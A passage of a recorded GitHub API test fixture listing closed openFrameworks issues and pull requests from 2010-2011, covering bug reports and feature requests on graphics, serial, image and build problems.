warnings","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":"2012-02-25T05:11:26Z","created_at":"2011-01-09T22:03:16Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":516200,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-10T20:01:58Z","body":"processing includes ofRandom(x) which picks a random number between 0 and x","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/293","comments":1,"milestone":null,"number":293,"html_url":"https://github.com/openframeworks/openFrameworks/issues/293","assignee":null,"title":"ofRandom doesn't support a single value","labels":[],"closed_at":"2011-01-10T20:01:58Z","created_at":"2011-01-09T21:21:54Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":516131,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-07-06T18:33:55Z","body":"Added a couple of preprocessor defines to allow easy disabling of fmodex compilation. (important for debian packaging) This should have no real impact on other folks, or else I've done something horribly, horribly wrong.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/291","comments":0,"milestone":null,"number":291,"html_url":"https://github.com/openframeworks/openFrameworks/issues/291","assignee":null,"title":"Skip fmodex","labels":[],"closed_at":"2011-07-06T18:33:55Z","created_at":"2011-01-09T06:58:22Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","gravatar_id":"70046f765dfa1f330e61066dda4351bb","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"emonty","id":95156},"id":515389,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/291.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/291","patch_url":"https://github.com/openframeworks/openFrameworks/pull/291.patch"}},{"updated_at":"2011-01-10T19:38:06Z","body":"it's been drawing the wrong colors, and issuing tons of warnings (e.g., for ofxKinect demo).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/290","comments":3,"milestone":null,"number":290,"html_url":"https://github.com/openframeworks/openFrameworks/issues/290","assignee":null,"title":"ofxSetHexColor wasn't swapped out from ofxOpenCv","labels":[],"closed_at":"2011-01-10T19:38:06Z","created_at":"2011-01-09T02:22:24Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":515181,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/290.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/290","patch_url":"https://github.com/openframeworks/openFrameworks/pull/290.patch"}},{"updated_at":"2011-12-02T20:24:09Z","body":"ie: \r\n\r\nofRect( float x, float y, float w, float h ); should come before ofRect(ofPoint p, float w, float h);\r\n\r\nthis is important as syntax highlighting only shows the first function that matches.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/289","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":289,"html_url":"https://github.com/openframeworks/openFrameworks/issues/289","assignee":null,"title":"change header file function order to show most common usage function first","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/codeblocks+","name":"codeblocks ","color":"cb6efa"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":"2011-12-02T20:24:09Z","created_at":"2011-01-08T20:30:13Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":514785,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=29&state=closed {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4967'), ('content-length', '35540'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"faa2d8faf2dc7faf857fc912cc668ae6"'), ('date', 'Tue, 29 May 2012 18:46:50 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2011-03-13T20:39:19Z","body":"It would be useful if there was a function to programmatically exit an app, say an ofExit() that will shutdown the app when called. There are times when it's useful to throw an error and exit as well as the ability to shutdown the app remotely, etc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/287","comments":1,"milestone":null,"number":287,"html_url":"https://github.com/openframeworks/openFrameworks/issues/287","assignee":null,"title":"ofExit() function","labels":[],"closed_at":"2011-03-13T20:39:19Z","created_at":"2011-01-07T17:22:21Z","state":"closed","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":512787,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T20:35:52Z","body":"currently we have: \r\n\r\n\r\n\t//----------------------------------------------------------\r\n\tvoid ofSetupScreenOrtho(float width, float height, bool vFlip, float nearDist, float farDist) {\r\n\t\tif(width == 0) width = ofGetWidth();\r\n\t\tif(height == 0) height = ofGetHeight();\r\n\r\n\t\t#ifndef TARGET_OPENGLES\r\n\r\n\t\t\tglMatrixMode(GL_PROJECTION);\r\n\t\t\tglLoadIdentity();\r\n\t\t\tif(vFlip) glOrtho(0, width, height, 0, nearDist, farDist);\r\n\t\t\telse glOrtho(0, width, 0, height, nearDist, farDist);\r\n\t\t\tglMatrixMode(GL_MODELVIEW);\r\n\t\t\tglLoadIdentity();\r\n\t\t\r\n\t\t#else\r\n\t\t\t//FIX: is here http://stackoverflow.com/questions/2847574/opengl-es-2-0-equivalent-of-glortho\r\n\t\t\tofLog(OF_LOG_ERROR, \"ofSetupScreenOrtho - you can't use glOrtho with iphone / ES at the moment\");\r\n\t\t#endif \r\n\t}\r\n\r\nbut we need a glOrtho replacement for ES. \r\n\r\nthis seems to suggest you can do it with matrix multiplication ( though shader code should apply to ES 1.0 ) : http://stackoverflow.com/questions/2847574/opengl-es-2-0-equivalent-of-glortho","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/286","comments":1,"milestone":null,"number":286,"html_url":"https://github.com/openframeworks/openFrameworks/issues/286","assignee":null,"title":"ofSetupScreenOrtho needs iPhone compatible version","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-03-13T20:35:52Z","created_at":"2011-01-05T17:57:08Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":508576,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-09T01:35:35Z","body":"When saving to a JPG or other lossy file, you should be able to pass a compression ratio or quality value. Intuitively it should be a float in the 0-1 range, but ideally it would simply wrap whatever parameters FreeImage already uses.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/285","comments":2,"milestone":null,"number":285,"html_url":"https://github.com/openframeworks/openFrameworks/issues/285","assignee":null,"title":"add jpg compression level parameter","labels":[],"closed_at":"2011-01-08T02:10:30Z","created_at":"2011-01-04T17:58:36Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":506233,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T15:19:32Z","body":"This fixes a bug in ofArduino::update() that was causing a number of unnecessary calls to _port.readByte(). Should help speed up communication between computer and Arduino a bit.\r\n\r\nAlso change to ofArduino::sendSysEx() to split data bytes into two 7 bit bytes before sending.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/284","comments":0,"milestone":null,"number":284,"html_url":"https://github.com/openframeworks/openFrameworks/issues/284","assignee":null,"title":"fix to bug in ofArduino::update() method","labels":[],"closed_at":"2011-01-16T15:19:32Z","created_at":"2011-01-01T00:22:47Z","state":"closed","user":{"url":"https://api.github.com/users/soundanalogous","gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"soundanalogous","id":401539},"id":500607,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/284.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/284","patch_url":"https://github.com/openframeworks/openFrameworks/pull/284.patch"}},{"updated_at":"2011-01-11T00:24:36Z","body":"tried adding this code to ES1Renderer but its unable to create the surface then.\n\n\t\t//DEPTH - hmm why doesn't this work. does it need something to be set at the appDelegate or EAGLView level\n\t\tglGetRenderbufferParameterivOES(GL_RENDERBUFFER_OES, GL_RENDERBUFFER_WIDTH_OES, &backingWidth);\n\t\tglGetRenderbufferParameterivOES(GL_RENDERBUFFER_OES, GL_RENDERBUFFER_HEIGHT_OES, &backingHeight);\n\t\t\n\t\tglGenRenderbuffersOES(1, &depthRenderbuffer);\n\t\tglBindRenderbufferOES(GL_RENDERBUFFER_OES, depthRenderbuffer);\n\t\tglRenderbufferStorageOES(GL_RENDERBUFFER_OES, GL_DEPTH_COMPONENT24_OES, backingWidth, backingHeight);\n\t\tglFramebufferRenderbufferOES(GL_FRAMEBUFFER_OES, GL_DEPTH_ATTACHMENT_OES, GL_RENDERBUFFER_OES, depthRenderbuffer);\n\n\nis it something to do with this line? I tried uncommenting the second half so that depth format was set to 16 but it caused a crash. \n\n\tglView = [[EAGLView alloc] initWithFrame:screenBounds];// pixelFormat:GL_RGB565_OES depthFormat:GL_DEPTH_COMPONENT16_OES preserveBackbuffer:NO];\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/283","comments":2,"milestone":null,"number":283,"html_url":"https://github.com/openframeworks/openFrameworks/issues/283","assignee":null,"title":"iPhone / iPad needs option for depth buffer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":"2011-01-11T00:24:36Z","created_at":"2010-12-31T18:06:55Z","state":"closed","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":500312,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T20:30:20Z","body":"submitted pull request instead. please ignore this issue.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/282","comments":0,"milestone":null,"number":282,"html_url":"https://github.com/openframeworks/openFrameworks/issues/282","assignee":null,"title":"bug in ofArduino","labels":[],"closed_at":"2011-03-13T20:30:20Z","created_at":"2010-12-31T07:34:09Z","state":"closed","user":{"url":"https://api.github.com/users/soundanalogous","gravatar_id":"f3ca5c4c2359e9103ba20a1ea992680c","avatar_url":"https://secure.gravatar.com/avatar/f3ca5c4c2359e9103ba20a1ea992680c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"soundanalogous","id":401539},"id":499912,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-12-28T18:31:14Z","body":"Regarding the following method: \n\tGLuint ofxFbo::createAndAttachRenderbuffer(GLenum internalFormat, GLenum attachmentPoint) {\n\t\t...\n\t\tglFramebufferRenderbuffer(GL_RENDERBUFFER, attachmentPoint, GL_RENDERBUFFER, buffer);\n\t\treturn buffer;\n\t}\n\nthe target (ie. first argument) should be GL_FRAMEBUFFER instead of GL_RENDERBUFFER (see http://www.opengl.org/sdk/docs/man3/xhtml/glFramebufferRenderbuffer.xml for the specs).","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/281","comments":1,"milestone":null,"number":281,"html_url":"https://github.com/openframeworks/openFrameworks/issues/281","assignee":null,"title":"ofxFbo (depth) attachment bug","labels":[],"closed_at":"2010-12-28T18:31:14Z","created_at":"2010-12-21T16:52:59Z","state":"closed","user":{"url":"https://api.github.com/users/Jaxan","gravatar_id":"f4b90f3bc19995082fb937114d07be7b","avatar_url":"https://secure.gravatar.com/avatar/f4b90f3bc19995082fb937114d07be7b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"Jaxan","id":272545},"id":486417,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-03-13T19:34:38Z","body":"I use OF with ubuntu linux and, made some fix for linux.\n\n## commit: 9d100885\nI added missing addons.make and, header on ofxShader.cpp to compile the example on linux.\nNow, It works on linux too. Just type \"make\" like other examples.\n\nThe instruction of libs/glee/lib/linux/readme.txt says way to build & install the GLee system-widely.\nbut, they shipped as binary in OF and, the makefile can directly link it (/libs/glee/lib/linux/libGLee.a or /libs/glee/lib/linux64/libGLee.a).\n\nand, also, I think this may kill some warnings of compile in other platforms.\n\n## commit: 8c65fd75\nI know the guide line, make your app on apps/ directory. changes in this commit follow it.\nand give easy way to make app in other place for people not want to -or can't- follow the guild line.\n\nIf your app is not under the apps/ direchtory, just modify OF_ROOT in your makefile to point OF directory.\n\n## commit: b9bcf524\nClean some sources. for the future. :)\n\nThat's it. Thanks.\n-- Homin Lee.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/280","comments":1,"milestone":null,"number":280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/280","assignee":null,"title":"linux: Compile error fix of fboExample and more..","labels":[],"closed_at":"2011-03-13T19:34:38Z","created_at":"2010-12-18T17:48:08Z","state":"closed","user":{"url":"https://api.github.com/users/suapapa","gravatar_id":"77bae140335cdfbd46237d35f8fdd204","avatar_url":"https://secure.gravatar.com/avatar/77bae140335cdfbd46237d35f8fdd204?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"suapapa","id":333745},"id":481756,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/280.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/280","patch_url":"https://github.com/openframeworks/openFrameworks/pull/280.patch"}},{"updated_at":"2010-12-19T15:50:10Z","body":"kind of amazing how ghetto it is:\r\n\r\n\tint readBytes(unsigned char * buffer, int length);\r\n\tint writeBytes(unsigned char * buffer, int length);\r\n\tbool writeByte(unsigned char singleByte);\r\n\tint readByte();\r\n\r\nreadBytes has a place because fixed-length reading happens pretty often. writeBytes should definitely have a string-based wrapper. and how often is the single character writeByte used?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/279","comments":3,"milestone":null,"number":279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/279","assignee":null,"title":"ofSerial has no string support","labels":[],"closed_at":"2010-12-14T02:22:25Z","created_at":"2010-12-13T18:16:26Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":472299,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-14T18:23:48Z","body":"Hi!\r\n\r\nI was compiling an app I made with some extra warnings turned on (I tend to be a pedant) and that wound up point out a few things... no big deal, just thought I'd forward them on.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/278","comments":0,"milestone":null,"number":278,"html_url":"https://github.com/openframeworks/openFrameworks/issues/278","assignee":null,"title":"A few warning cleanups","labels":[],"closed_at":"2011-01-14T18:23:48Z","created_at":"2010-12-09T10:06:42Z","state":"closed","user":{"url":"https://api.github.com/users/emonty","gravatar_id":"70046f765dfa1f330e61066dda4351bb","avatar_url":"https://secure.gravatar.com/avatar/70046f765dfa1f330e61066dda4351bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"emonty","id":95156},"id":464817,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/278.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/278","patch_url":"https://github.com/openframeworks/openFrameworks/pull/278.patch"}},{"updated_at":"2010-12-08T19:17:19Z","body":"Hi, when I'm trying to compile emptyExample in VS2010 Express, I get errors:\r\n\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyUpdate(void)\" (?ofNotifyUpdate@@YAXXZ) referenced in function \"public: virtual void __thiscall ofAppGlutWindow::runAppViaInfiniteLoop(class ofBaseApp *)\" (?runAppViaInfiniteLoop@ofAppGlutWindow@@UAEXPAVofBaseApp@@@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifySetup(void)\" (?ofNotifySetup@@YAXXZ) referenced in function \"public: virtual void __thiscall ofAppGlutWindow::runAppViaInfiniteLoop(class ofBaseApp *)\" (?runAppViaInfiniteLoop@ofAppGlutWindow@@UAEXPAVofBaseApp@@@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyDraw(void)\" (?ofNotifyDraw@@YAXXZ) referenced in function \"public: static void __cdecl ofAppGlutWindow::display(void)\" (?display@ofAppGlutWindow@@SAXXZ)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyMouseReleased(int,int,int)\" (?ofNotifyMouseReleased@@YAXHHH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::mouse_cb(int,int,int,int)\" (?mouse_cb@ofAppGlutWindow@@SAXHHHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyMousePressed(int,int,int)\" (?ofNotifyMousePressed@@YAXHHH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::mouse_cb(int,int,int,int)\" (?mouse_cb@ofAppGlutWindow@@SAXHHHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyMouseDragged(int,int,int)\" (?ofNotifyMouseDragged@@YAXHHH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::motion_cb(int,int)\" (?motion_cb@ofAppGlutWindow@@SAXHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyMouseMoved(int,int)\" (?ofNotifyMouseMoved@@YAXHH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::passive_motion_cb(int,int)\" (?passive_motion_cb@ofAppGlutWindow@@SAXHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyKeyPressed(int)\" (?ofNotifyKeyPressed@@YAXH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::keyboard_cb(unsigned char,int,int)\" (?keyboard_cb@ofAppGlutWindow@@SAXEHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyKeyReleased(int)\" (?ofNotifyKeyReleased@@YAXH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::keyboard_up_cb(unsigned char,int,int)\" (?keyboard_up_cb@ofAppGlutWindow@@SAXEHH@Z)\r\n2>openframeworksLib.lib(ofAppGlutWindow.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyWindowResized(int,int)\" (?ofNotifyWindowResized@@YAXHH@Z) referenced in function \"public: static void __cdecl ofAppGlutWindow::resize_cb(int,int)\" (?resize_cb@ofAppGlutWindow@@SAXHH@Z)\r\n2>openframeworksLib.lib(ofAppRunner.obj) : error LNK2019: unresolved external symbol \"void __cdecl ofNotifyExit(void)\" (?ofNotifyExit@@YAXXZ) referenced in function \"void __cdecl ofExitCallback(void)\" (?ofExitCallback@@YAXXZ)\r\n2>openframeworksLib.lib(ofSoundStream.obj) : error LNK2019: unresolved external symbol \"class ofCoreEvents ofEvents\" (?ofEvents@@3VofCoreEvents@@A) referenced in function \"int __cdecl receiveAudioBufferAndCallSimpleApp(void *,void *,unsigned int,double,unsigned int,void *)\" (?receiveAudioBufferAndCallSimpleApp@@YAHPAX0INI0@Z)\r\n2>bin\\emptyExample_vs2010.exe : fatal error LNK1120: 12 unresolved externals\r\n========== Build: 1 succeeded, 1 failed, 0 up-to-date, 0 skipped ==========\r\n\r\nWhat can be the problem? Same with VS2008 :(","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/277","comments":3,"milestone":null,"number":277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/277","assignee":null,"title":"VS2010 compile errors","labels":[],"closed_at":"2010-12-08T19:17:19Z","created_at":"2010-12-08T17:20:56Z","state":"closed","user":{"url":"https://api.github.com/users/overjoy","gravatar_id":"0db68e1ff4776516180e0dcef85ec0d5","avatar_url":"https://secure.gravatar.com/avatar/0db68e1ff4776516180e0dcef85ec0d5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"overjoy","id":510509},"id":463263,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-16T00:30:29Z","body":"currently, ofViewport reads:\n\n\tvoid ofViewport(float x, float y, float width, float height) {\n\t\tif(width == 0) width = ofGetWidth();\n\t\tif(height == 0) height = ofGetHeight();\n\n\t\tglViewport(0, 0, width, height);\n\t}\n\nif they were just dropped in to substitute the current 0, 0, this would mean OF has core calls that don't fit the top-left standard... so i propose:\n\n\tvoid ofViewport(int x, int y, int width, int height, bool relative = true) {\n\t\tif(width == 0) {\n\t\t\twidth = ofGetWidth();\n\t\t}\n\t\tif(height == 0) {\n\t\t\theight = ofGetHeight();\n\t\t}\n\t\tif(relative) {\n\t\t\ty = ofGetHeight() - (height + y);\n\t\t}\n\t\tglViewport(x, y, width, height);\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/276","comments":3,"milestone":null,"number":276,"html_url":"https://github.com/openframeworks/openFrameworks/issues/276","assignee":null,"title":"ofViewport ignores x,y values","labels":[],"closed_at":"2011-01-16T00:30:29Z","created_at":"2010-12-04T19:04:36Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":456021,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-01-12T19:52:00Z","body":"commit e31e1b9:\nUpdated ofSetColor to ofSetColorHex on ofxCvContourFinder and ofxCvBlob\n\ncommit e0ae765:\nadded the copy operator to ofxVec4f , so it has the same behavior as ofxVec2f and ofxVec3f:\nvoid \t operator=( const ofxVec4f& vec );\nvoid \t operator=( const float f);","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/274","comments":2,"milestone":null,"number":274,"html_url":"https://github.com/openframeworks/openFrameworks/issues/274","assignee":null,"title":"changed ofSetColor(int hex) to ofSetHexColor(int hex) on ofxCvContourFinder and ofxCvBlob |||||||||| added copy operator(=) to ofxVec4f","labels":[],"closed_at":"2011-01-12T19:52:00Z","created_at":"2010-11-29T16:51:14Z","state":"closed","user":{"url":"https://api.github.com/users/paulobarcelos","gravatar_id":"1a9d12db1eca833154421017ef09524f","avatar_url":"https://secure.gravatar.com/avatar/1a9d12db1eca833154421017ef09524f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"paulobarcelos","id":122277},"id":444628,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/274.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/274","patch_url":"https://github.com/openframeworks/openFrameworks/pull/274.patch"}},{"updated_at":"2011-01-16T00:28:44Z","body":"i have generally avoided setFromPixels and just do my own memcpys because i don't understand when setFromPixels reallocates and when it doesn't.\r\n\r\nthe first thing it does is allocate the pixels if they're not allocated.\r\n\r\nthen if the width and height don't match, it allocates them (first calling clear() which seems to be responsible for saying delete[] myPixels.pixels).\r\n\r\nand then it calls allocatePixels regardless of anything that has already been done. fortunately allocatePixels is pretty smart. actually, it's smart in exactly the same ways setFromPixels is smart: it makes sure that the pixels are allocated, and it makes sure the width and height match. it deletes the pixels itself, instead of using the clear() method, because it's a helper function for some reason.\r\n\r\nall that said, there should only be one check: is the new width and height same as the current one? if not, reallocate (where reallocating means deleting anything if it's there, and dynamically allocating new memory). because ofImage should have a width and height of 0 when it's created, this handles all the cases instead of being spread across three different places.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/273","comments":1,"milestone":null,"number":273,"html_url":"https://github.com/openframeworks/openFrameworks/issues/273","assignee":null,"title":"ofImage::setFromPixels is really hard to read","labels":[],"closed_at":"2011-01-16T00:28:44Z","created_at":"2010-11-27T23:55:30Z","state":"closed","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kylemcdonald","id":157106},"id":442132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-23T21:02:20Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/272","comments":0,"milestone":null,"number":272,"html_url":"https://github.com/openframeworks/openFrameworks/issues/272","assignee":null,"title":"Untitled","labels":[],"closed_at":"2010-11-23T21:02:20Z","created_at":"2010-11-23T20:56:52Z","state":"closed","user":{"url":"https://api.github.com/users/kamend","gravatar_id":"1b0002ee319a421a56ef94c199382fb7","avatar_url":"https://secure.gravatar.com/avatar/1b0002ee319a421a56ef94c199382fb7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"kamend","id":462951},"id":435353,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2010-11-22T23:43:14Z","body":"added block for win32 that are not redefines for OSX but necessary for windows 